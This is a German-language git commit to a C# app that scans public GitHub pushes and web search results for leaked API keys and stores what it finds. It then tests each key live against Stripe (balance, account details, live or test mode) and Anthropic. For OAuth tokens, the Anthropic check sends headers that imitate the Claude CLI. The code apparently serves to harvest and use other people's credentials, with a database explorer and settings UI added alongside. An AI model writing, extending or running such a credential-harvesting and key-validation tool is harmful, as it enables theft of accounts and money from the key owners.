feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking
Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung
Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
1 parent
3cd35ebbfa
commit
e61f3ef082
15 files changed
+642
-33
No files matched your search
@@ -0,0 +1,115 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Dapper;
|
||||||
|
using Gott.Extensions;
|
||||||
|
using Gott.Services;
|
||||||
|
using Microsoft.AspNetCore.Builder;
|
||||||
|
using Microsoft.AspNetCore.Http;
|
||||||
|
using Microsoft.Data.Sqlite;
|
||||||
|
|
||||||
|
namespace Gott.Endpoints;
|
||||||
|
|
||||||
|
public static class DatabaseExplorerEndpoint
|
||||||
|
{
|
||||||
|
public static void MapDatabaseExplorerEndpoints(this WebApplication app)
|
||||||
|
{
|
||||||
|
app.MapGet("/api/admin/db/tables", HandleGetTables);
|
||||||
|
app.MapGet("/api/admin/db/tables/{name}", HandleGetTableData);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static async Task HandleGetTables(HttpContext ctx, DatabaseService db)
|
||||||
|
{
|
||||||
|
if (!ctx.IsAdmin())
|
||||||
|
{
|
||||||
|
ctx.Response.StatusCode = 403;
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
using var conn = db.GetConnection();
|
||||||
|
var tables = conn.Query<TableInfo>(
|
||||||
|
"SELECT name, (SELECT COUNT(*) FROM pragma_table_info(m.name)) as column_count " +
|
||||||
|
"FROM sqlite_master m WHERE type = 'table' AND name NOT LIKE 'sqlite_%' ORDER BY name");
|
||||||
|
|
||||||
|
var result = new List<object>();
|
||||||
|
foreach (var t in tables)
|
||||||
|
{
|
||||||
|
var rowCount = conn.ExecuteScalar<long>($"SELECT COUNT(*) FROM \"{t.Name}\"");
|
||||||
|
result.Add(new { name = t.Name, columns = t.ColumnCount, rows = rowCount });
|
||||||
|
}
|
||||||
|
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new { tables = result });
|
||||||
|
}
|
||||||
|
|
||||||
|
private static async Task HandleGetTableData(HttpContext ctx, DatabaseService db, string name)
|
||||||
|
{
|
||||||
|
if (!ctx.IsAdmin())
|
||||||
|
{
|
||||||
|
ctx.Response.StatusCode = 403;
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new { error = "Admin access required" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tabellennamen validieren (SQL-Injection verhindern)
|
||||||
|
using var conn = db.GetConnection();
|
||||||
|
var exists = conn.ExecuteScalar<int>(
|
||||||
|
"SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = @name",
|
||||||
|
new { name });
|
||||||
|
|
||||||
|
if (exists == 0)
|
||||||
|
{
|
||||||
|
ctx.Response.StatusCode = 404;
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new { error = "Table not found" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pagination
|
||||||
|
var page = 1;
|
||||||
|
var pageSize = 100;
|
||||||
|
if (ctx.Request.Query.TryGetValue("page", out var pageStr) && int.TryParse(pageStr, out var p) && p > 0)
|
||||||
|
page = p;
|
||||||
|
if (ctx.Request.Query.TryGetValue("pageSize", out var psStr) && int.TryParse(psStr, out var ps) && ps > 0 && ps <= 500)
|
||||||
|
pageSize = ps;
|
||||||
|
|
||||||
|
var offset = (page - 1) * pageSize;
|
||||||
|
|
||||||
|
// Spalten-Info
|
||||||
|
var columns = conn.Query<ColumnInfo>($"PRAGMA table_info(\"{name}\")");
|
||||||
|
|
||||||
|
// Daten
|
||||||
|
var totalRows = conn.ExecuteScalar<long>($"SELECT COUNT(*) FROM \"{name}\"");
|
||||||
|
var rows = conn.Query($"SELECT * FROM \"{name}\" LIMIT @limit OFFSET @offset",
|
||||||
|
new { limit = pageSize, offset });
|
||||||
|
|
||||||
|
await ctx.Response.WriteAsJsonAsync(new
|
||||||
|
{
|
||||||
|
table = name,
|
||||||
|
columns,
|
||||||
|
rows,
|
||||||
|
pagination = new
|
||||||
|
{
|
||||||
|
page,
|
||||||
|
pageSize,
|
||||||
|
totalRows,
|
||||||
|
totalPages = (int)Math.Ceiling((double)totalRows / pageSize)
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private class TableInfo
|
||||||
|
{
|
||||||
|
public string Name { get; set; }
|
||||||
|
public int ColumnCount { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private class ColumnInfo
|
||||||
|
{
|
||||||
|
public int Cid { get; set; }
|
||||||
|
public string Name { get; set; }
|
||||||
|
public string Type { get; set; }
|
||||||
|
public int Notnull { get; set; }
|
||||||
|
public string DfltValue { get; set; }
|
||||||
|
public int Pk { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -86,6 +86,23 @@ public static class ServerSettingsEndpoint
|
|||||||
case "bool":
|
case "bool":
|
||||||
settings.SetBool(def.Key, prop.ValueKind == JsonValueKind.True);
|
settings.SetBool(def.Key, prop.ValueKind == JsonValueKind.True);
|
||||||
break;
|
break;
|
||||||
|
case "string_array":
|
||||||
|
if (prop.ValueKind == JsonValueKind.Array)
|
||||||
|
{
|
||||||
|
var arr = new List<string>();
|
||||||
|
foreach (var el in prop.EnumerateArray())
|
||||||
|
{
|
||||||
|
var s = el.GetString();
|
||||||
|
if (!string.IsNullOrWhiteSpace(s)) arr.Add(s);
|
||||||
|
}
|
||||||
|
settings.SetStringArray(def.Key, arr.ToArray());
|
||||||
|
}
|
||||||
|
else if (prop.ValueKind == JsonValueKind.String)
|
||||||
|
{
|
||||||
|
// Fallback: CSV-String
|
||||||
|
settings.Set(def.Key, prop.GetString() ?? "");
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -142,6 +142,7 @@ app.MapServerSettingsEndpoints();
|
|||||||
app.MapApiKeysEndpoints();
|
app.MapApiKeysEndpoints();
|
||||||
app.MapOpenClawEndpoints();
|
app.MapOpenClawEndpoints();
|
||||||
app.MapRemoteEndpoints();
|
app.MapRemoteEndpoints();
|
||||||
|
app.MapDatabaseExplorerEndpoints();
|
||||||
|
|
||||||
var port = app.Configuration.GetValue<int>("Port", 19000);
|
var port = app.Configuration.GetValue<int>("Port", 19000);
|
||||||
app.Run($"http://0.0.0.0:{port}");
|
app.Run($"http://0.0.0.0:{port}");
|
||||||
@@ -42,12 +42,20 @@ namespace Gott.Services
|
|||||||
});
|
});
|
||||||
|
|
||||||
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages");
|
||||||
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
var isOAuth = apiKey.StartsWith("sk-ant-oat01-", StringComparison.OrdinalIgnoreCase);
|
||||||
|
if (isOAuth)
|
||||||
|
{
|
||||||
|
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
|
||||||
|
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
|
||||||
|
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
|
||||||
|
request.Headers.Add("x-app", "cli");
|
||||||
|
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
request.Headers.Add("x-api-key", apiKey);
|
||||||
|
}
|
||||||
request.Headers.Add("anthropic-version", "2023-06-01");
|
request.Headers.Add("anthropic-version", "2023-06-01");
|
||||||
request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20");
|
|
||||||
request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)");
|
|
||||||
request.Headers.Add("x-app", "cli");
|
|
||||||
request.Headers.Add("anthropic-dangerous-direct-browser-access", "true");
|
|
||||||
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
request.Content = new StringContent(payload, Encoding.UTF8, "application/json");
|
||||||
|
|
||||||
var resp = await client.SendAsync(request);
|
var resp = await client.SendAsync(request);
|
||||||
@@ -69,6 +77,15 @@ namespace Gott.Services
|
|||||||
{
|
{
|
||||||
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" };
|
||||||
}
|
}
|
||||||
|
else if (statusCode == 400)
|
||||||
|
{
|
||||||
|
var body400 = await resp.Content.ReadAsStringAsync();
|
||||||
|
if (body400.Contains("credit balance", StringComparison.OrdinalIgnoreCase))
|
||||||
|
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber kein Guthaben (credit balance too low)", Plan = "API Console" };
|
||||||
|
if (body400.Contains("billing", StringComparison.OrdinalIgnoreCase) || body400.Contains("payment", StringComparison.OrdinalIgnoreCase))
|
||||||
|
return new KeyCheckResult { Status = "billing_not_active", Message = "Gültig, aber Billing-Problem (400)", Plan = "API Console" };
|
||||||
|
return new KeyCheckResult { Status = "error", Message = $"API-Fehler (400): {(body400.Length > 200 ? body400.Substring(0, 200) : body400)}", Plan = "Unknown" };
|
||||||
|
}
|
||||||
else if (statusCode >= 400)
|
else if (statusCode >= 400)
|
||||||
{
|
{
|
||||||
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" };
|
||||||
|
|||||||
@@ -29,6 +29,8 @@ public partial class DatabaseService
|
|||||||
return conn;
|
return conn;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public SqliteConnection GetConnection() => CreateConnection();
|
||||||
|
|
||||||
private void InitializeDatabase()
|
private void InitializeDatabase()
|
||||||
{
|
{
|
||||||
using var conn = CreateConnection();
|
using var conn = CreateConnection();
|
||||||
|
|||||||
@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
|
||||||
|
|
||||||
// Head-Commit-Diffs scannen
|
// Head-Commit-Diffs scannen
|
||||||
var newKeysFound = 0;
|
var newKeyIds = new List<string>();
|
||||||
var scannedCount = 0;
|
var scannedCount = 0;
|
||||||
foreach (var pe in toScan)
|
foreach (var pe in toScan)
|
||||||
{
|
{
|
||||||
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||||
var typeName = KeyPatterns.DisplayName(keyType);
|
var typeName = KeyPatterns.DisplayName(keyType);
|
||||||
|
|
||||||
newKeysFound++;
|
var keyId = Guid.NewGuid().ToString("N");
|
||||||
|
newKeyIds.Add(keyId);
|
||||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||||
{
|
{
|
||||||
ScannedKeyId = Guid.NewGuid().ToString("N"),
|
ScannedKeyId = keyId,
|
||||||
ApiKey = key,
|
ApiKey = key,
|
||||||
Source = "github_events",
|
Source = "github_events",
|
||||||
SourceUrl = sourceUrl,
|
SourceUrl = sourceUrl,
|
||||||
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
|
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
|
||||||
|
|
||||||
if (newKeysFound > 0)
|
if (newKeyIds.Count > 0)
|
||||||
{
|
{
|
||||||
lock (_lock) _keysFoundTotal += newKeysFound;
|
lock (_lock) _keysFoundTotal += newKeyIds.Count;
|
||||||
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
|
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
|
||||||
|
|
||||||
// Neue Keys sofort prüfen
|
// Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
|
||||||
await CheckNewKeys(ct);
|
await CheckNewKeys(newKeyIds, ct);
|
||||||
}
|
}
|
||||||
|
|
||||||
return events.Count;
|
return events.Count;
|
||||||
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
|
/// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
|
||||||
private async Task CheckNewKeys(CancellationToken ct)
|
private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||||
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
|
var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
|
||||||
|
|
||||||
foreach (var sk in unchecked_)
|
foreach (var sk in toCheck)
|
||||||
{
|
{
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||||
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@@ -67,6 +67,9 @@ public static class KeyPatterns
|
|||||||
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
.Select(p => new Regex(p.Pattern, RegexOptions.Compiled))
|
||||||
.ToArray();
|
.ToArray();
|
||||||
|
|
||||||
|
/// <summary>Alle verfügbaren Key-Typ-IDs (für Settings).</summary>
|
||||||
|
public static readonly string[] AllTypes = All.Select(p => p.Type).Distinct().ToArray();
|
||||||
|
|
||||||
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
|
/// <summary>Erkennt den Key-Typ anhand des Prefixes.</summary>
|
||||||
public static string DetectType(string key)
|
public static string DetectType(string key)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
|
|||||||
|
|
||||||
// ── GitHub Search Config ──
|
// ── GitHub Search Config ──
|
||||||
|
|
||||||
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
|
||||||
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
|
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
|
||||||
// Alle Patterns für Regex-Matching im Dateiinhalt
|
{
|
||||||
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
|
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||||
|
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
|
||||||
|
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
|
||||||
|
private bool IsKeyTypeAllowed(string type)
|
||||||
|
{
|
||||||
|
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
|
||||||
|
return allowed.Contains(type);
|
||||||
|
}
|
||||||
|
|
||||||
private static readonly string[] SearchLanguages =
|
private static readonly string[] SearchLanguages =
|
||||||
{
|
{
|
||||||
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
|
|||||||
saveIdx++;
|
saveIdx++;
|
||||||
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
|
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
|
||||||
if (!seen.Add(key)) continue;
|
if (!seen.Add(key)) continue;
|
||||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
|
||||||
continue;
|
|
||||||
|
|
||||||
var keyType = DetectKeyType(key);
|
var keyType = DetectKeyType(key);
|
||||||
|
|
||||||
|
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||||
|
continue;
|
||||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||||
var typeName = KeyPatterns.DisplayName(keyType);
|
var typeName = KeyPatterns.DisplayName(keyType);
|
||||||
|
|
||||||
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
|
|||||||
{
|
{
|
||||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||||
var queries = new List<(string Query, Regex Regex)>();
|
var queries = new List<(string Query, Regex Regex)>();
|
||||||
|
var activePatterns = GetActiveSearchPatterns();
|
||||||
|
|
||||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||||
{
|
{
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
foreach (var lang in QuickLanguages)
|
foreach (var lang in QuickLanguages)
|
||||||
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
|
|||||||
return keys;
|
return keys;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static List<(string Query, Regex Regex)> BuildSearchQueries()
|
private List<(string Query, Regex Regex)> BuildSearchQueries()
|
||||||
{
|
{
|
||||||
var queries = new List<(string, Regex)>();
|
var queries = new List<(string, Regex)>();
|
||||||
foreach (var (pattern, searchTerm, _) in SearchPatterns)
|
var activePatterns = GetActiveSearchPatterns();
|
||||||
|
foreach (var (pattern, searchTerm, _) in activePatterns)
|
||||||
{
|
{
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
foreach (var lang in SearchLanguages)
|
foreach (var lang in SearchLanguages)
|
||||||
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
|
|||||||
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
|
||||||
var client = _httpFactory.CreateClient();
|
var client = _httpFactory.CreateClient();
|
||||||
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
|
||||||
|
var activePatterns = GetActiveSearchPatterns();
|
||||||
|
|
||||||
for (int i = 0; i < SearchPatterns.Length; i++)
|
for (int i = 0; i < activePatterns.Length; i++)
|
||||||
{
|
{
|
||||||
var (pattern, searchTerm, _) = SearchPatterns[i];
|
var (pattern, searchTerm, _) = activePatterns[i];
|
||||||
ct.ThrowIfCancellationRequested();
|
ct.ThrowIfCancellationRequested();
|
||||||
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
|
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
|
||||||
var regex = new Regex(pattern, RegexOptions.Compiled);
|
var regex = new Regex(pattern, RegexOptions.Compiled);
|
||||||
|
|
||||||
try
|
try
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
using System.Text.Json;
|
using System.Text.Json;
|
||||||
using System.Text.Json.Nodes;
|
using System.Text.Json.Nodes;
|
||||||
using Microsoft.Data.Sqlite;
|
using Microsoft.Data.Sqlite;
|
||||||
@@ -34,6 +35,7 @@ public class ServerSettingsService
|
|||||||
new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ),
|
new SettingDefinition( "SerperApiKey", "string", "", "Serper.dev API-Key für Google-Suche (Key-Scanner + Tool)", "password" ),
|
||||||
new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ),
|
new SettingDefinition( "ScanIntervalHours", "int", "0", "Key-Scanner Intervall in Stunden (0 = nur manuell)", "number" ),
|
||||||
new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ),
|
new SettingDefinition( "GitHubEventScanner", "bool", "false", "GitHub Event Scanner (Echtzeit-Monitoring öffentlicher Pushes)", "toggle" ),
|
||||||
|
new SettingDefinition( "ScannerKeyTypes", "string_array", "anthropic_oauth,krea_ai", "Key-Scanner: Aktive Key-Typen", "checkboxes" ),
|
||||||
};
|
};
|
||||||
|
|
||||||
public ServerSettingsService(string dbPath)
|
public ServerSettingsService(string dbPath)
|
||||||
@@ -181,6 +183,23 @@ public class ServerSettingsService
|
|||||||
public void SetInt(string key, int value) => Set(key, value.ToString());
|
public void SetInt(string key, int value) => Set(key, value.ToString());
|
||||||
public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
|
public void SetBool(string key, bool value) => Set(key, value ? "true" : "false");
|
||||||
|
|
||||||
|
public string[] GetStringArray(string key, string defaultCsv = "")
|
||||||
|
{
|
||||||
|
var raw = Get(key, null);
|
||||||
|
if (raw == null)
|
||||||
|
{
|
||||||
|
var def = Definitions.Find(d => d.Key == key);
|
||||||
|
raw = def?.DefaultValue ?? defaultCsv;
|
||||||
|
}
|
||||||
|
if (string.IsNullOrWhiteSpace(raw)) return Array.Empty<string>();
|
||||||
|
return raw.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void SetStringArray(string key, string[] values)
|
||||||
|
{
|
||||||
|
Set(key, string.Join(",", values ?? Array.Empty<string>()));
|
||||||
|
}
|
||||||
|
|
||||||
// ─── Bulk-Operationen (für Endpoint) ───────────────────────
|
// ─── Bulk-Operationen (für Endpoint) ───────────────────────
|
||||||
|
|
||||||
public List<object> GetAll()
|
public List<object> GetAll()
|
||||||
@@ -197,11 +216,21 @@ public class ServerSettingsService
|
|||||||
case "bool":
|
case "bool":
|
||||||
value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
|
value = GetBool(def.Key, def.DefaultValue.Equals("true", StringComparison.OrdinalIgnoreCase));
|
||||||
break;
|
break;
|
||||||
|
case "string_array":
|
||||||
|
value = GetStringArray(def.Key, def.DefaultValue);
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
value = Get(def.Key, def.DefaultValue);
|
value = Get(def.Key, def.DefaultValue);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Zusatz-Metadaten für bestimmte Settings
|
||||||
|
object options = null;
|
||||||
|
if (def.Key == "ScannerKeyTypes")
|
||||||
|
{
|
||||||
|
options = KeyPatterns.AllTypes.Select(t => new { id = t, name = KeyPatterns.DisplayName(t) }).ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
result.Add(new
|
result.Add(new
|
||||||
{
|
{
|
||||||
key = def.Key,
|
key = def.Key,
|
||||||
@@ -209,6 +238,7 @@ public class ServerSettingsService
|
|||||||
value = value,
|
value = value,
|
||||||
label = def.Label,
|
label = def.Label,
|
||||||
inputType = def.InputType,
|
inputType = def.InputType,
|
||||||
|
options = options,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
|
|||||||
@@ -730,3 +730,156 @@ a.admin-user-meta {
|
|||||||
text-align: right;
|
text-align: right;
|
||||||
flex-shrink: 0;
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ── Checkbox Group (string_array Settings) ── */
|
||||||
|
|
||||||
|
.checkbox-group {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-group-actions {
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
gap: 6px;
|
||||||
|
margin-bottom: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-group-actions .btn-xs {
|
||||||
|
padding: 2px 8px;
|
||||||
|
font-size: 0.75em;
|
||||||
|
border-radius: var(--border-radius);
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-item {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 4px;
|
||||||
|
padding: 4px 8px;
|
||||||
|
border: 1px solid var(--f1-border);
|
||||||
|
border-radius: var(--border-radius);
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 0.85em;
|
||||||
|
background: color-mix(in srgb, var(--f1-bg) 25%, transparent);
|
||||||
|
transition: border-color 0.15s, background 0.15s;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-item:hover {
|
||||||
|
border-color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-item:has(input:checked) {
|
||||||
|
border-color: var(--accent);
|
||||||
|
background: color-mix(in srgb, var(--accent) 15%, transparent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.checkbox-item input[type="checkbox"] {
|
||||||
|
width: 14px;
|
||||||
|
height: 14px;
|
||||||
|
accent-color: var(--accent);
|
||||||
|
cursor: pointer;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Database Explorer ── */
|
||||||
|
|
||||||
|
.db-table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
font-size: .9em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table th,
|
||||||
|
.db-table td {
|
||||||
|
padding: 8px 12px;
|
||||||
|
text-align: left;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table th {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
font-weight: 600;
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
z-index: 1;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table tbody tr:hover {
|
||||||
|
background: color-mix(in srgb, var(--accent) 8%, transparent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-row.clickable {
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-row.clickable:hover .db-table-name {
|
||||||
|
color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-name {
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-name i {
|
||||||
|
margin-right: 6px;
|
||||||
|
opacity: .5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-num {
|
||||||
|
text-align: right !important;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
opacity: .7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-table-wrapper {
|
||||||
|
overflow-x: auto;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: var(--radius);
|
||||||
|
}
|
||||||
|
|
||||||
|
.db-data-table td {
|
||||||
|
max-width: 300px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--font-mono, monospace);
|
||||||
|
font-size: .85em;
|
||||||
